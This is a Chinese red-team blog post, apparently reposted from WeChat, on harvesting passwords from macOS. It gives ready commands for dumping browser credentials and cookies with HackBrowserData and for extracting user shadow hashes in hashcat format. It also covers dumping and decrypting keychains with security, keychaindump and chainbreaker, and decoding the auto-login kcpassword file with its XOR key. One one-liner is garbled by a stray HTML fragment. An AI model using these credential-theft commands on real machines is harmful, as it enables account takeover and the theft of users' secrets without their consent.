最近对Mac OSx当中的密码存储比较感兴趣 然后就去网上查了很多资料,而且好像相关的文章比较少。那么对于OSx当中的提权将会放到另外一片文章中来说。
在我个人认为OSx中 主要有几类密码存在如:Browser Passwords(浏览器密码)、Shadow Passwords(影子密码)、Keychain(钥匙串)、kcpassword(登陆密码)。所有的实验都是在我自己的多台电脑测试以及模拟。
本文也将按照这几种密码的分类来说明如何获取各类密码。
Browser password
很多人都会习惯把密码保存在浏览器,那么浏览器密码可以说是重中之重了。
HackBrowserData
HackBrowserData
是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。
浏览器支持情况
MacOS
由于 MacOS 的安全性设置,基于 Chromium
内核浏览器解密时需要当前用户密码
浏览器 | 密码 | Cookie | 书签 | 历史记录 |
---|---|---|---|---|
Google Chrome | ✅ | ✅ | ✅ | ✅ |
Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
Chromium | ✅ | ✅ | ✅ | ✅ |
Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
Brave | ✅ | ✅ | ✅ | ✅ |
Opera | ✅ | ✅ | ✅ | ✅ |
OperaGX | ✅ | ✅ | ✅ | ✅ |
Vivaldi | ✅ | ✅ | ✅ | ✅ |
Yandex | ✅ | ✅ | ✅ | ✅ |
CocCoc | ✅ | ✅ | ✅ | ✅ |
Firefox | ✅ | ✅ | ✅ | ✅ |
Firefox Beta | ✅ | ✅ | ✅ | ✅ |
Firefox Dev | ✅ | ✅ | ✅ | ✅ |
Firefox ESR | ✅ | ✅ | ✅ | ✅ |
Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
Safari | ❌ | ❌ | ❌ | ❌ |
安装运行
安装
可下载已编译好,可直接运行的 二进制文件
某些情况下,这款安全工具会被 Windows Defender 或其他杀毒软件当作病毒导致无法执行。代码已经全部开源,可自行编译。
从源码编译
仅支持 go1.18+
以后版本,一些函数使用到了泛型
$ git clone https://github.com/moonD4rk/HackBrowserData
$ cd HackBrowserData/cmd/hack-browser-data
$ CGO_ENABLED=1 go build
运行
Shadow Passwords
影子密码与用户的配置一起存储在 /var/db/dslocal/nodes/Default/users/
. 以下oneliner可用于转储有关用户的所有信息(包括哈希信息):
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
像这个或这个这样的脚本可用于将散列转换为hashcat 格式。
另一种单行代码将以 hashcat 格式 -m7100
(macOS PBKDF2-SHA512) 转储所有非服务帐户的信用:
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "<a href="#footnote-_"><sup>[_]</sup></a>*"); do plutil -extract name.0 raw $i | awk "{printf $0":$ml$"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf "$"$0}"; fi; done; echo ""; done'
Keychain
Dump
请注意,当使用安全二进制文件转储解密后的密码时,会出现多个提示,要求用户允许此操作。
#security
secuirty dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
Keychaindump
攻击者仍然需要获得对系统的访问权限并升级到root权限才能运行keychaindump。这种方法有其自身的条件。如前所述,登录后,您的钥匙串默认解锁,并在您使用系统时保持解锁状态。这是为了方便,这样用户就不需要在每次应用程序希望访问钥匙串时都输入密码。如果用户更改了此设置并选择在每次使用后锁定钥匙串,则钥匙串转储将不再起作用;它依赖于解锁的钥匙串来运行。
了解 Keychaindump 如何从内存中提取密码很重要。此交易中最重要的过程是“安全”过程。Apple 将此进程称为授权和加密操作的安全上下文守护进程。Apple 开发人员库对此并没有多说;但是,他们确实告诉我们 securityd 处理对钥匙串的访问。在他的研究中,Juuso将解密钥匙串所需的密钥称为“万能钥匙”。需要采取许多步骤来获取此密钥,因为它是从用户的 OS X 登录密码派生的。如果你想读取钥匙串文件,你必须有这个主密钥。可以执行以下步骤来获取它。执行 securityd 的堆扫描(keychaindump 使用 vmmap 命令执行此操作)。可能的主密钥存储在标记为 MALLOC_TINY 的区域中。您可以使用以下命令自己查看这些堆的位置:
sudo vmmap <securityd PID> | grep MALLOC_TINY
然后Keychaindump将在返回的堆中搜索 0x0000000000000018 的出现。如果以下 8 字节值指向当前堆,我们就找到了一个潜在的主密钥。从这里开始,仍然需要进行一些反混淆,这可以在源代码中看到,但作为分析师,需要注意的最重要部分是解密此信息的必要数据存储在 securityd 的进程内存中。这是钥匙串转储输出的示例。
sudo ./keychaindump
这些工具似乎在 Big Sur 无法使用请在10.15.x及以下使用。
chainbreaker
Chainbreaker可用于以可靠的方式从 OSX 钥匙串中提取以下类型的信息:
-
Hashed Keychain password, suitable for cracking with hashcat or John the Ripper
-
Internet Passwords
-
Generic Passwords
-
Private Keys
-
Public Keys
-
X509 Certificates
-
Secure Notes
-
Appleshare Passwords
给定钥匙串解锁密码,使用volafox或volatility获得的主密钥,或诸如 SystemKey 之类的解锁文件,Chainbreaker 还将提供明文密码。
如果没有这些解锁钥匙串的方法之一,Chainbreaker 将显示所有其他可用信息。
转储钥匙串钥匙
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
使用 SystemKey 转储钥匙串密钥(带密码)
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
转储钥匙串密钥(带密码)破解哈希
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
使用内存转储转储钥匙串密钥(带密码)
按照以下步骤执行内存转储
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
使用用户密码转储钥匙串密钥(带密码)
如果您知道用户密码,您可以使用它来转储和解密属于该用户的钥匙串。
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
KeychainCracker
macOS 钥匙串破解工具。带有GUI界面。
https://github.com/macmade/KeychainCracker
kcpassword
kcpassword文件是保存用户登录密码的文件,但前提是系统所有者启用了自动登录。因此,用户将自动登录而无需输入密码(这不是很安全)。
密码存储在 /etc/kcpassword
与密钥异或的文件中 0x7D0x890x520x230xD20xBC0xDD0xEA0xA30xB90x1F
。如果用户密码比密钥长,则密钥将被复用。这使得密码很容易恢复,使用这个的脚本。
结束
其实上面所测试的大部分方式都在较新的OSx系统上无法使用。如果想在新的OSx上使用还需要去看系统的更新内容及改变。
原文始发于微信公众号(九河下稍的安全笔记):红队之如何获取Mac OSx Passwords
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论